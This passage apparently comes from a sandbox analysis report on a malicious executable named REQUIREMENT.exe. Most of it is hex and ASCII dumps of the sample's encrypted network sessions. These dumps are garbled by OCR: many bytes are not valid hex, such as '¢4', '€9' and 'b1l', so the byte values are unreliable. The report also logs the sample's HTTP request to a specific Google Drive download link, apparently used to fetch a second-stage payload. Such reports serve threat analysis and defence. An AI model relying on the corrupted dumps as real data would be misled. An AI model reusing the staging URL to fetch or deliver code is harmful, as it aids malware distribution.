2d d4 43 ce d2 d5 56 c3 e8 ef 9a ¢4 66 61 d7 59 55 1d 8e 11 e9 b2 39 31 e7 12 40 5f 56 b1l 4f f7 32 57 ef 43 c6 5e 3d ee
4c Oa c4 a0 4a c2 db f6 70 20 af b3 88 ff 73 3d d4 db
Data Ascii: Znjg24..?Fk*Fz/D*>8=$]B*M7nYsB*D)~];k0$Si7D0p2zx8qmEVTDYHVy|%9aP(8Z]_;-CVfaYU91@_VO2WC"=
LJp s=

2021-10-13 13:51:48 UTC 326 IN Data Raw: c4 ca al 3c 7d bc d4 37 9¢ d1 d4 99 7b 3c bl ca be 6c e2 3e b8 2c 9 22 f3 07 db b0 c7 16 d1 21 5a 51 15 6
99 5¢ 14 ¢8 5f bc 03 7d d2 b2 5f c7 ee 6f 5e 1b 7a 65 af d8 f8 b7 f6 82 35 90 1d 44 14 16 86 25 8e fc f1 87 aa 7a 71 Oe aa
ba 71 c4 da 3a a3 Ob ab ad f7 4f 0d 9b 6f 0d d6 ed 10 Oc 5b a6 be 87 06 76 3f cO 38 f5 el de 30 b0 11 68 12 €3 57 9c 37
d8 2d 21 15 b6 15 3c ec 7f 5f 48 03 cd 96 3a 28 12 32 64 b4 35 be 1d 7e 04 d4 €9 e9 24 76 9c 6e d5 5d f1 7c c2 b6 31 45
€6 13 b5 df d9 68 0d ad 96 51 e2 3a 63 d4 10 03 aa 7a 2c 80 aa b0 d8 4d 50 f6 ba ed e3 35 5¢ 6¢ 4b fb 36 0f d8 b2 a2 7f
fO bd 0d 9d 70 09 Oa 7b 78 a3 f3 fb Ob d9 90 c2 f5 a9 38 24 45 7c ¢6 6d 78 9f a5 3d 11 90 0d 1f 2c ce 20 77 9e e7 9a 06 fe
95 cc cc 3d d8 04 d5 4b 4f dc a2 17 d9 a8 36 bb 48
Data Ascii: <}7{<I>"1ZQ\_}_0"ze5D%zqq:00[v?80hW7-!<_H:(2d5~$vn]|LEhQ:cz, MP5\IK6p{X8$E|mx=, w=KO6H

2021-10-13 13:51:48 UTC 327 IN Data Raw: 9b b1 4f 9a 6b a8 1d 6b f9 27 af a3 a4 4f 2c bd 9¢ 93 b0 2c 86 86 65 96 21 6¢ ¢6 97 db 27 b9 15 9f de a7 73 3¢
67 1le 6¢ 92 7e d6 a4 c3 b6 25 06 fc 75 06 57 84 28 09 98 49 59 ¢0 56 0d 6b 6a c5 e8 Oe 3a bc 74 09 da 33 33 7e 89 38 4d
6c 14 90 39 90 a5 e8 97 c7 8e e0 10 2e a7 f1 ca 3f 4f 6¢ 57 96 a9 06 c9 cO eb 56 8b 44 b3 4d 55 8¢ 93 ec 34 ¢1 d1 7b b6
8e a7 79 4d 81 ea f0 5¢ 73 f9 4a bb cf 64 Ob 7a d4 6a 9e 77 ea ed 68 6f c7 67 ¢7 5¢ 89 83 55 75 77 16 32 00 f6 9f 45 68 18
47 b4 9b 1e 00 75 01 d9 3d 11 09 60 04 3e 74 10 ec d7 2f ac d4 2b 7f 67 Oa cb 94 87 Ob 61 b8 21 al 6b 3d a8 38 9e 07 aa
13 al 3c 4e 70 ca 29 fb c9 cO ef 2c 8b b5 40 43 e7 ea 89 9b 57 6f 06 43 cf €7 48 95 34 34 2¢ 67 d3 0d Oc fd 41 be ac d7 d4
99 ae 23 62 6e 10 08 cd 73 d4 f6 de 1a d8 f5 29
Data Ascii: Okk'O,,e!l's<gl~%uW(IYVkj:t33~8MI9.?0IWVDMU4{yM\sJdzjwhog\Uuw2EhGu=">t/+ga!k=8<Np),@CWoC
H44,gA#bns)

2021-10-13 13:51:48 UTC 328 IN Data Raw: 1d c3 ed 53 35 84 a3 57 59 ec 6b 4b 9c 1d 8a 2a 6e 1b 60 38 05 65 29 b2 ce 39 c6 f2 cf e2 56 05 9b 42 67 75
7c 2c 07 ef 35 44 a7 1c Of 8¢ 8e b7 b6 bc 06 Of 8f 05 11 56 e2 7c ee 32 9b 3c cb 6d 7e df 6d 1le 22 6¢ 32 d4 a4 84 58 8a a9
cc 41 41 ee ef ed 35 20 fd 2b 52 b4 fc Oe d1 ¢5 d1 13 31 75 3a 04 3b d9 cb 7a al 36 e5 91 9a a6 57 06 1f c8 ec 73 77 fe fa
41 c0d1 e0 al 31 33 88 50 24 47 75 76 6f f6 4a 1b 33 d7 Oe eb 77 c2 30 76 7f 77 22 c0 ba 5f 27 58 91 ea ff 9a fe c5 e9 3f
4b 19 1c 47 4a 36 a9 8 49 27 Oe 15 2e el 97 9b 5¢ 02 ae 76 d9 96 dd fa 17 7c 95 dO e3 27 3b e9 5e 3e 67 22 Oc e5 74 6f
el 09 df 84 2a 9a 74 89 50 89 3f 10 46 cd 58 d3 d2 cf 18 60 30 74 3a d2 07 6d c3 69 08 5f 78 ec 24 14 31 93 eb 37 d3 8e
2d 15 8c 8f a9 ec 4b 1c ae eb 03 1f 05 52 db Oe
Data Ascii: SSWYKK*n'8e)9VBgu|,5DV[2<m~m"I2XAAS5 +R1u:;z6WswA13P$GuvoI3wOvw"_'X?KGJI6I'.\v[; >g"to*tP?

FX 0t:mi_x$17-KR

2021-10-13 13:51:48 UTC 330 IN Data Raw: d8 d1 f6 88 cf 15 Oa c1 a2 a2 c4 a3 43 d8 Oa ef d0 40 21 34 44 2a 3d 1f a8 e8 a9 Oc 7d 9c cb 60 ec 00 66 ca b4
1le 10 8e 71 c0 bc 98 c1 36 fb b8 93 bd 57 be af ec ea 76 8a d7 73 a5 a0 78 53 ¢2 e5 c0 d2 a7 50 43 c2 77 a0 94 d1 dc a0
bd 7a b2 00 24 8e a3 5d b0 c9 1b 76 70 5b 91 97 Ob 45 8b 47 49 7a 64 81 c7 65 3c 00 bl 25 bc 2e 10 b9 9a f4 1e 94 98
94 1a 4c ee 03 Oe 82 39 57 77 4d 58 5e 72 ba d3 82 81 9b f3 ch 5a a6 28 0d 46 €8 bb 29 42 80 59 6¢ a9 7e 66 08 1c ab
d2 le aa 0d 34 81 35 c5 c0 3 12 9b be 08 db cb b6 56 03 bb f8 6¢ 60 71 f3 24 eb 30 cd 38 63 1d 1e 84 22 1c 20 36 ed 66
59 64 48 7e 22 3e da 8b aa 8f ab 4c 93 8b 9f Oe b0 2b 13 62 2a 92 37 c8 ff b3 c0 6f b1 3c 06 d9 Of da 1c d4 b9 e5 09 7c 2f
b5 ec f3 86 ¢5 3d 05 fb cb 0a ce 67 96 23 30 4b aa fb 89
Data Ascii: C@!4D*=} fq6WvsxSPCwz$]vp[EGIzde<%.LOWWMXArZ(F)BYI~f45VI'q$08c" 6fYdH~">L+b*70<|/=g#0K
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 331 IN Data Raw: df al 64 78 95 45 e4 ee 97 7d c5 1b fe 3d 7e 14 1f c5 63 8f 8¢ ab c6 €8 19 7d 06 8e Ob d5 32 c2 e6 41 eb 56
7a 02 65 28 c9 8d ae cc cc 9a 57 b2 e5 b3 9b ab de a4 c9 2a fc 85 65 75 44 1a 8a 91 db eb c7 ec 3e 35 9b 3e 69 17 eb 32
78 da 88 f2 7d 41 8d 4f 2c bf 3f d5 64 82 d2 06 bc 85 d5 c5 8f 15 ef d7 ¢5 da 19 1a 84 9c b5 8e 7b 38 d9 72 87 82 ab cd 89
30 40 e7 4e 07 b8 b3 c5 ba ef 9a 04 1a 4a 9a 96 73 9d 00 dO d9 Ob 46 b8 9e 5¢ 1b ba 28 51 df d9 64 61 c2 b0 d6 66 8e 2c
be a7 fa 6e e0 24 73 Oe 1e db 6d b7 bd 48 c9 15 ¢3 27 7e 02 90 ff f5 39 f3 0d f2 f0 62 f5 89 ef 1f de af 48 08 d3 94 a4 8e 9f
cd 6¢ 2c Oa 6a 27 4a bb 43 21 1c df e3 03 93 e4 dd 57 03 5e c4 fd 71 83 ff a4 17 dd 1e b5 4c 7c 40 a0 be 5b 02 fO Oa 45
54 2d dc 46 14 94 b1 Ob 84 dc 82 c6 22 01 a6 4c
Data Ascii: dxE}=~c}2AVze(W*euD>5>i2x}A0,?d{8r0@NJsF\(Qdaf,n$smH'~9bHI,j" JICIW gL| @[ET-F"'L

2021-10-13 13:51:48 UTC 332 IN Data Raw: a6 c9 14 24 b0 eb ad 69 a0 12 f2 c¢5 19 fb 4b 14 7 af 94 69 be 6b 55 52 38 b3 b8 e6 75 a4 74 40 fc d1 d6 b5 be
b7 35 b7 ad d3 58 75 a4 3d a6 77 96 c9 99 Ob ed d1 50 40 74 b7 Ob bf 3c ce f5 68 14 eb a3 89 03 62 9a 58 bc b7 7d 45 8d
90 3a b5 34 5f 0d 42 7a 7e 13 b3 9d 93 Oc 26 0d 3f 3b f4 e7 8b a5 cd 97 1a db 1d b9 a2 46 ec fa db 6¢ 8c 4d 42 4f Oe 00
ac f9 1d ac f5 52 01 48 9e 99 b5 42 3b a5 3e be 8e aa a9 04 91 ee 0d 19 c9 dc d9 2a 6b e3 8f 96 1a ab 51 7d 77 fb 43 3b
51 f0 00 af b1 9a 1f a0 91 e7 4d ed 59 6b 9b f6 8¢ 5b 6b 21 99 43 9f 1f 61 €3 21 32 28 46 ca 10 el 9f d1 fb 05 f3 c6 a6 43
9f 63 02 96 3 0b 30 c8 ac 1b Oc 8a b1 87 a3 72 75 63 fa 5¢ af c2 a2 29 fc 1c d7 96 1b 7e 23 37 d8 81 eb 20 40 b1 aa eb
eb a6 7e c7 f9 a5 dO de 9f 43 ae 3a b4 53 3 d5 10
Data Ascii: $iKikURBut@5Xu=wP@t<hbX}E:4_Bz~&?;FIMBORHB;>*kQ}wC;QMYk[k!Ca!2(FCcOruc\)~#7 @~C:S

2021-10-13 13:51:48 UTC 334 IN Data Raw: 4c 90 ea 47 d6 Oe 31 Of ad 25 24 97 6a 81 ff 1c af d1 a7 3e 56 47 42 Oe fc 75 a8 e2 cd fa fb 22 58 9d 88 29 9e
79 30 6e 97 Of 6b Oe dc 81 9f cd 2b ef f5 9e 5b e7 15 8b 4b €9 b6 79 5e 12 e3 el d4 4e b2 e9 b4 22 cc a7 1le eb 9b a4 81
eb 92 11 c4 bc 17 6a 36 48 da bb a7 28 75 0d dc 54 92 9b 5¢ b5 fc f8 ae a2 b8 ad 57 a5 85 €9 02 3d 7a e7 48 11 fa 2f dd
31 ed f1 28 d9 63 75 7e 4f 39 3f a3 14 4a cf 24 6f ae c7 99 a9 b9 7e 89 c9 3a 5e e6 be 7b 64 6 ¢6 97 88 03 Oc dd b1 c8 4d
d0 a2 f5 1c bd fb 2d d5 ef 81 f6 3a c3 79 a2 d5 a7 4a 1c a3 09 93 al ff 09 99 c7 ca 52 b3 24 77 1f 68 a0 e5 4e 01 9b ca d4
c8 0c f0 09 d8 de 95 5¢c 42 21 76 c4 c7 1d 19 bc f8 da 22 24 97 ed 22 72 2e 97 67 47 32 a9 c7 eb cb b4 9b c0 12 c6 3b 9e
el 4e 26 ec c7 b4 df ea a2 7a 79 2b c2 aa 47 3f
Data Ascii: LG1%$j>VGBu"X)yOnk+[Ky”N"j6H(uT\W=zH/1(cu~09?J$0~:{dM-:yJR$WhN\BIV"'$"r.gG2;N&zy+G?

2021-10-13 13:51:48 UTC 335 IN Data Raw: 1c a6 c8 ba 06 70 cc 46 8b d4 c2 3f 2b f7 83 2e 61 99 96 25 56 e4 38 7a 72 93 9e ec 5e c3 bc a4 97 c6 f6 €9
29 bb 04 f5 Oc 0Of 79 29 ef e8 ab 38 d9 a4 42 d5 6d 83 a2 6¢ 9d bf a9 a5 bf ec c1 5a 28 20 20 29 5f 6b 68 7b €8 86 21 c2 f8
79 ef b2 e6 63 1b f1 82 63 1e 9c 4f d2 df 9e ee 0d ae 1f 58 82 ac 1b 06 cf 24 cc 7d e3 78 a3 ae {7 bf c1 11 31 02 a7 1c 7b
5395 1d 9c 00 56 17 18 f5 ¢8 74 06 7d a3 59 62 23 63 cd 80 Ob d6 6d 09 b7 ec 70 b6 e6 38 ef 44 4d b5 7f 00 14 fa e2 70
79 f9 8d 05 ad 5f c7 de bf c6 60 25 21 c0 fa 23 04 42 4e df 28 ae 35 b7 42 2a 3c 25 6a 9d 49 54 66 d5 ef ba 47 5a 47 81 bl
c2f9 76 2b c3 3e 4a 93 25 a6 53 €9 3a 18 4e ba b4 f5 33 a8 24 a2 31 59 56 d6 97 29 fd 9b 2e 6d ce eb b4 7 55 f2 dc f6 c3
b0 94 d9 1d ba 96 82 35 ¢7 95 00 af 2b 83 8d
Data Ascii: pF?+.a%V8zr")y)8BmIZ( )_kh{lyccOX$}x1{SVt}Yb#cmp8DMpy_ %!#BN(5B*<%jI TfGZGv+>J%S:N3$1YV)
.mU5+

2021-10-13 13:51:48 UTC 336 IN Data Raw: 98 45 d1 f5 c7 fd 28 9f 74 3b 4a 01 60 55 c2 2c a8 15 8e 51 77 a6 42 70 85 64 55 79 2a bb 07 27 2f c6 59 70 53
dc 5e de aa 1c 52 61 51 69 bd 81 6e 65 13 15 10 cf 94 80 5a 5f 56 f7 09 70 c1 al 28 1d 9e fd 59 79 90 c9 54 {7 b4 1d b5
74 36 d5 88 d8 28 82 56 83 60 77 ae f5 9a eb 7a af e7 ed 12 8a 2a 4a 88 14 5d 15 dd fd 6a 85 cc 38 92 a5 a4 a3 46 df 11
ec fd 89 26 4e 73 4c 5e 81 b8 be f2 02 49 dd 1c 04 18 48 41 f6 al f8 dd 85 9a 70 e7 ae b8 f2 9b b7 13 30 56 75 42 82 7a
64 7f 1c al 50 ac cc 0d a0 40 ab ca 1a ec 85 52 ca 68 f8 9d f5 5a 60 el 36 b6 2f ea f8 27 Oc 28 ce b0 8c 4e d9 c0 7d bf bf
67 c6 4d 51 0f d1 64 4e 10 66 19 1a 64 3d eb f3 dd 4d 43 a9 ce 4b 43 34 34 33 ae 33 89 a9 c8 32 b4 8b 24 Ob db 1c 34 87
4 80 ea f0 43 4f b5 fd 20 12 dd ae 32 bf bb 81 fd
Data Ascii: E(t;J°U,QwBpdUy*/YpS"RaQineZ_Vp(YyTt6(V wz*J]j8BF&NsSL NHApOVuBzdP@RhZ 6/ (N}gMQdNfd=MCKC
44332$4CO0 2

2021-10-13 13:51:48 UTC 337 IN Data Raw: f1 05 6¢ 38 48 40 8e bf 30 bd 48 1c f7 a8 80 77 2b 8f 60 77 4e 7b 2 4e 6f fO 58 d4 be af 8f d5 80 9b 39 32 50
bd ae f1 92 1a 36 4a fc da c8 f6 63 72 e8 19 25 ec ed 29 ab f4 d8 ab 29 e7 7e 5f 6e 03 41 b3 1d b3 91 3d 5b 0a f6 72 92
b1 86 c7 2b 09 fd ac 99 3¢ 22 b3 ea 6f 27 55 8e 6a 74 79 cf b3 83 b5 dc cd Oc 9a 99 5b ef fc 18 2¢c 5 85 39 a7 8a 16 13
94 57 21 05 6f f1 26 d2 3c bl c4 b7 14 3c 9b 31 b5 6a a5 a4 68 c1 3c e8 3b c0 bf 80 33 b7 25 11 15 ea b3 66 de 90 2¢ 5d
8e 92 eb 74 df a5 10 f1 7c 14 2d 6f 77 7e 3e bb 6e 68 22 6f 61 c1 b5 2d ca 81 be 4a e6 05 66 32 a7 30 08 32 be 01 6b aa
dd 13 90 fe e2 bb 73 87 46 21 ab 45 12 cf Oe 87 4d b6 dd 29 46 92 d6 56 bf 2e b1 Oe b0 85 7 53 d3 02 1a 73 f8 30 8c d9
77 ad 6589 11 50 84 78 1c b2 80 84 43 74 84 6¢ 1e 61
Data Ascii: IBH@0Hw+ WN{N0oX92P6Jcr%))~_nA=[r+<"0'Ujty[, 9W!0&<<1jh<;3%f,]t|-ow~>nh"o0a-Jf202ksFIEM)FV.
SsOwePxCtla

2021-10-13 13:51:48 UTC 338 IN Data Raw: 6a bd 63 22 0f 03 4d Oa 38 32 4d fc 81 8a 58 61 2e 0f 83 67 20 b3 86 54 a0 90 35 4c 65 f2 c6 d8 7d 9d 05 fa aa
93 3b d5 84 74 ef 81 14 02 d2 96 7a 36 Ob Oe c0 f8 01 65 72 80 ec f1 7c 1c 57 €8 94 b1 f5 85 4f 99 f7 11 a5 1c 4b 00 4b 6c
31 7d 6f 1a 19 9f 59 3d 29 f1 51 07 40 d4 5f b2 3c 6¢ 9a Oa da 5¢c 97 4f 98 17 3e fb 33 d7 dc 8¢ 38 95 el 8d aa 57 2d 4c 08
8a 8a 85 36 fe 37 cc 21 d6 37 f3 b2 c9 el 4c f0 f2 ba a3 f4 b9 07 87 88 0d 69 6¢ 9d 61 3f 16 fe 7c 9f 49 7a 0d 44 75 76 98
4d 72 a8 30 ec 30 36 f4 c7 4b 94 49 b4 9d ae e4 83 48 29 d0 28 a4 ec e7 96 1a bf ee 33 54 c¢2 8d d3 b0 5b 29 85 9e b0 Od
c36a47 1a8a 014362 8af4 38 ab 763118 3f 80 fe f3 c6 43 a3 ec e3 e3 23 af 0f 43 a2 14 78 ae fd 41 ca 6d 6¢ da 7f ca
€9 2c 33 f3 73 c4 68 e2 36 a4 03 6d ba e8
Data Ascii: jc"M82MXa.g T5Le};tz6er|WOKKI1}oY=)Q@_<NO>38W-L67!7Lila?|lzDuvMrO06KIH)(3T[)jGCh8V12CHC
xAml,3shém

2021-10-13 13:51:48 UTC 339 IN Data Raw: ea d6 82 19 e7 ad 19 7a e4 c0 d0 42 3d 45 e3 cd 04 dd 0f 3b d4 el f3 24 6e 15 70 6 37 c1 fb 5d cc cb 9b 66 73
5f 60 96 93 36 90 86 13 86 c9 84 ad 7b c2 b8 76 f4 ed 4d f8 72 10 fa d7 8d 05 de de c7 90 88 e0 c0 a5 60 a5 b0 44 65 07
86 6¢ 51 0a 7b b4 09 35 a4 bb b6 89 49 54 fc 87 92 fc 87 7f ac ¢8 c¢5 4c 37 66 74 4c 8f 06 8a dc a6 72 b5 el e4 cl a7 01
cd 77 ¢7 17 32 f5 35 05 €9 0d c5 43 58 4f 7d c8 a4 03 65 f0 08 94 e8 cb 85 76 9f 84 b7 7a 43 87 51 2b 8e 7e 63 ea 22 79
76 01 40 c5 ch a6 7b 2b f8 59 d9 75 a5 d5 7f 5b a3 82 Oe 13 al 1f 4a fd 3f ea 3e 76 2a ba 6e 30 c4 b0 5b 7 32 b4 32 8d
ba bc a0 d8 8f fc 06 d2 06 68 53 82 1b 15 8e bc 83 ec a3 2b 9f 99 d3 b0 4a ff 71 e2 76 b2 2d 29 0a 91 9f 95 51 4e 7b d7
48 41 ¢5 23 Oc 1c €9 48 3b ec 4d 6e 26 84 9d 20 47 8b
Data Ascii: zB=E;$np7]fs_'6{vMr DelQ{5ITL7ftLrw25CXO}evzCQ+~c"yv@{+Yu[J?>v*n0[22hS+Jqv-)QN{HA#H;Mn& G

2021-10-13 13:51:48 UTC 341 IN Data Raw: 9e 70 1e 35 ef €8 7e f5 f3 1c 34 a6 35 5a b4 5d 43 30 al 50 a6 b9 67 3d 05 d6 91 d1 4d 9b 53 07 ab 9e 69 47
cb df b3 6f 64 e2 99 9b 3c 12 af 86 97 6e cb 56 31 eb c4 fa 4b e7 88 b9 5¢ 06 fb fc dc de d1 28 59 01 ac 76 2a ee e8 05 dO
a7 d0 3a b3 24 5b 1a 8d 09 43 91 94 1a c9 8e 1b 41 2f f9 7e 2d b7 d7 e3 a5 5d 43 0d a9 d4 37 6f c4 03 73 de 7f 23 34 48
03 73 16 46 c1 88 bc 75 6¢ 09 70 9e 50 6d 04 91 65 1d ee 81 Of e0 ba 58 f0 42 28 ea e6 2f a4 91 dd 72 a2 ce b3 ad 61 64
8a ec b3 68 c3 9b 76 f0 43 8c fd 8f 6f 6f 87 79 b7 d2 72 78 88 2b 1a cb 81 ea ef 1a 8e 82 61 60 b4 e7 c2 b9 91 88 f7 a5 29
14 2b 01 fd 3f ef e2 €8 13 c1 58 b0 ad 45 ca 4d 90 21 94 10 92 b4 16 c6 6¢ bl 3d ba f8 c9 6f 80 34 49 22 b5 d3 cf 7e 12 7e
9b ec c4 4e 18 07 03 92 f9 08 d8 61 Of be 1c ec
Data Ascii: p5~45Z]COPg=MSiGod<nV1K\(Yv*$[CA/~-]C7os#4HsFulpPmeXB(/radhvCooyrx+a’)+?XEM!l=04!"~~Na
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kBytes
Timestamp transferred

2021-10-13 13:51:48 UTC 342

2021-10-13 13:51:48 UTC 343

2021-10-13 13:51:48 UTC 344

2021-10-13 13:51:48 UTC 346

Session ID Source IP

6 192.168.11.20
kBytes

Timestamp transferred

2021-10-13 13:52:00 UTC 346

2021-10-13 13:52:00 UTC 346

2021-10-13 13:52:00 UTC 347

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49829

Direction

ouT

Data

Data Raw: 2e 5d Oc 2b d9 87 51 c7 c4 12 63 e0 de a5 f6 11 cb 96 4d 5e cc b9 7c 74 a6 ca 53 29 33 Oa de 70 e7 6f 97 38
2377 6e 21 26 1a 7 ae cb 7d 33 34 8f 62 1d 63 47 1d 6¢ df d9 ea 09 1c b5 7d 61 bf 5¢c 82 43 5¢ 59 a5 eb 49 f6 f1 2a df ff
13 2d c6 68 0b 31 8e 7d 2c 22 c2 07 12 22 5b 13 ea 5d 35 ca 5d 09 ee 08 a0 1e 7b b9 5a dd 05 39 33 ce a5 5b 76 86 9d
c539 73 c0 c5 e7 42 83 3a ba 36 61 31 ca a5 8f be aa b6 17 65 3c e7 2d fe bc 17 a8 77 43 dc 05 b2 6d 32 5f 50 da 29 d8
78 2c bl 65 e2 el 05 al 9a a3 ca af cd 23 86 4e c4 38 54 0d 7f d7 9d 55 55 60 03 eb 43 af e4 d1 5c¢ c5 45 82 a0 af d2 29
45 23 be be 1d 3f ae 81 19 6f d9 32 e2 5e cb ea 27 4b cd f2 cf f0 03 9f 58 03 9a 8a 65 87 bc 39 €0 2¢ 1c 64 b6 41 a8 95 6b
1f d0 9d f5 ad 97 Oe 86 c3 cd d4 b1 f9 62 d3 29 16 fe

Data Ascii: .][+QcMA"[tS)3po8#wn!&}34bcGlia\C\YI*-h1},"[]5{Z93[v9sB:6ale<-wCm2_P)x,e#N8TUU C\E)E#?02"'KXe9,dAk
b)

Data Raw: f2 4b 1a 52 b3 86 09 89 23 00 5b d8 de 8b 44 1d b1 c5 90 30 a5 45 75 a3 f3 7c al 63 5¢ 89 bb 07 92 00 23 c4
62 cf 72 37 b6 89 91 95 3e ¢8 63 65 b7 93 36 8f ca 50 b7 f4 dO 86 02 ef 66 66 fe f3 €5 4d c2 28 ad 84 3f b2 71 10 ce 24 46
ec bb a4 70 f2 07 a2 c4 98 bc fd c3 bc 57 Oc 79 a4 ea 56 99 05 39 dc 81 bf 5¢ 9a b4 93 95 d6 d0 36 46 61 48 8a cf 1f e4 70
d4 ec b7 f5 1e 91 0d f5 f5 b9 27 a4 0d da b7 f8 86 57 7f f8 8e 61 68 49 17 c9 c4 d2 02 a2 b4 24 Oe 55 5d 7a c8 1b c3 65 ah
6b 9d 1b ce 35 d1 fb 86 14 d7 27 bc 7e f9 69 e5 f4 81 52 ca e0 6 25 78 ce 4b 9e ae e4 b6 el b3 f2 6a d3 1b 84 1d 41 ba
07 e3 62 15 f1 f5 9¢ 54 3b 69 6d c8 Ob 2e 34 9f 4b ef 16 32 b6 ba 88 6b 0d 41 28 a2 97 1f 41 07 fd 52 45 77 de 46 19 be
9c 5d 09 50 92 cf 41 84 70 22 9a d2 76 52 bc a7

Data Ascii: KR#[DOEu|c\#br7>ce6PffM(?q$FpWyV9\6FaHp'WahI$U]zek5'~iR%xKjAbT;im.4K2kA(AREWF]PAp"VR

Data Raw: d4 11 57 a8 a6 94 7f fc 40 ca 95 9f 16 ce d3 92 b0 fd 3f 5b bc 5d 3d b5 6¢ Oe cf 9b db dc 5 d9 d4 1c 29 14 8 7f
1b 7f22 04 c8 73 63 al 5a 93 c3 f8 cf d1 ba c4 65 36 ab e8 eb d0 12 cf 52 c9 6e 53 bb 4b 3f c4 d1 al e4 9c 69 36 5a 94
ea 22 d6 2e 10 33 33 17 b1 a3 d8 4c ca 94 e8 af 44 9c 78 6b b3 06 ea Oc 65 2a 8c e6 ca 69 e9 9e 1d 6b 71 61 aa 28 42
db 2f 90 4b 70 45 €3 62 d6 6d 1a 32 b9 5a Oc d1 aa 72 68 b8 4d a3 4b 1c 2b a4 65 30 9a 93 d6 ed c6 €9 07 65 a5 93 5f 6b
b6 89 47 70 f9 b5 11 7a 22 4f 27 e8 6d 5e aa b5 e6 b5 3d 7e 2f 29 fb 8f 31 d3 13 05 37 69 38 4d 20 6f 7f 89 e7 38 4b 61
6b 73 €8 77 Oa ac dd 2f 9b 92 c2 7d ce fa dd 27 ed 06 7d e8 e7 37 60 96 4a f1 fe 4c ac f3 89 8c da el 13 64 20 34 el 6f ad
5f 5¢ bf 01 63 ac cd 82 49 02 14 44 d6 0d 76 c3 af

Data Ascii: W@?[]=1)"scZe6RnSK?i6Z".33LDxke*ikga(B/KpEbm2ZrhMK+eOe_kGpz"O'm"=~/)17i8M 08Kaksw/}'}7"JLd
40_\cIDv

Data Raw: 85 d5 b6 d5 35 ac a2 ¢8 14 e2 85 51 cd 10 11 63 Oe 5b f2 5¢ 66 43 f1 d9 25 87 23 4b c4 28 11 7f a5 1a 1d 17
bl ac 3e 9b 2b 66 27 b2 43 72 9a 67 e7 19 af 27 53 99 cb 57 a8 ad 7b 45 b7 2c 18 3f 8c 41 67 3e 38 cfe2 27 53 c4 eb f8
3033 a2 91 7e 2f 5¢ 03 ¢7 b9 7 98 dc ba 90 1d d9 71 fO 7b 71 6d f2 4b 7f 8e 44 82 f0 bf 66 2d 31 ac 52 5¢ 11 c5 ed a0 44
29 ce cf 6d fb 36 fe 18 a0 75 ad 72 cc b9 38 31 d5 64 24 2f a4 ed al fa 90 b0 cb 07 71 55 a3 44 bc e3 af b7 df 1e fO 8e 67
3325 0e 70 ad 5b 66 4d 1a 29 ab 64 Oc f4 e0 41 10 dd 64 8b 28 47 46 ff al e3 a2 1c 6f 4a fb 8e 5b 10 d2 d7 f4 b3 4a 27
71 al 09 f2 bb f3 aa 3b 48 08 03 2a a8 be 1e cO 7f 34 20 03 06 48 01 3c 79 7fef a2 f8 c1

Data Ascii: 5Qc[\fC%#K(>+f'Crg'SW{E,?Ag>8'S03~/\q{gmKDf-1R\D)m6ur81d$/quDg3%p[fM)dAd(GFoJ[J'q;H*4 H<y

Destination IP Destination Port Process

172.217.168.46 443 C:\Users\user\Desktop\REQUIREMENT.exe

Data

GET /uc?export=download&id=1cavmvfhBkRkr58kPbP8ymMPJAEJZGE13 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=erCQGVR30AbnlJ5pNFpHSCGAYJ62W5dN4HM7_6YgJIIXNAuvU7WRafMRXMCMPUdUZRh5Qtdjggd
8vMSDtMqwA8YkuahRtOx0V301S2YDycscUArSU4sks1bjEITSreHgGwOrYdsWnbS3-plvVy97QEU2IECEpIGBbrpS
mmZ_Evs

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 13 Oct 2021 13:52:00 GMT

Location: https://doc-00-60-docs.googleusercontent.com/docs/securesc/or48ihskOvmif5iful3e48tbcinjbv55/peotigcj
uutlcr6g08d513d6opcs9399/1634133075000/18281895610876391208/042257962721264740132/1cavmvfhBKRkr58kPh
P8ymMPJAEJZGE13?e=download

Content-Security-Policy: script-src ‘nonce-mL+AADIXKmMZANCw9+t4HA' ‘unsafe-inline' 'strict-dynamic' https: http:
‘unsafe-eval';object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/
X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 39 38 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
726172 69 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 6f 2d 36 30 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65

Data Ascii: 198<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-00-60-docs.goog
leusercontent.com/docs/secure
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kBytes
Timestamp transferred

2021-10-13 13:52:00 UTC 348

2021-10-13 13:52:00 UTC 348

Session ID Source IP

7 192.168.11.20
kBytes

Timestamp transferred

2021-10-13 13:52:00 UTC 348

2021-10-13 13:52:00 UTC 348

2021-10-13 13:52:00 UTC 352

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49830

Direction

ouT

Data

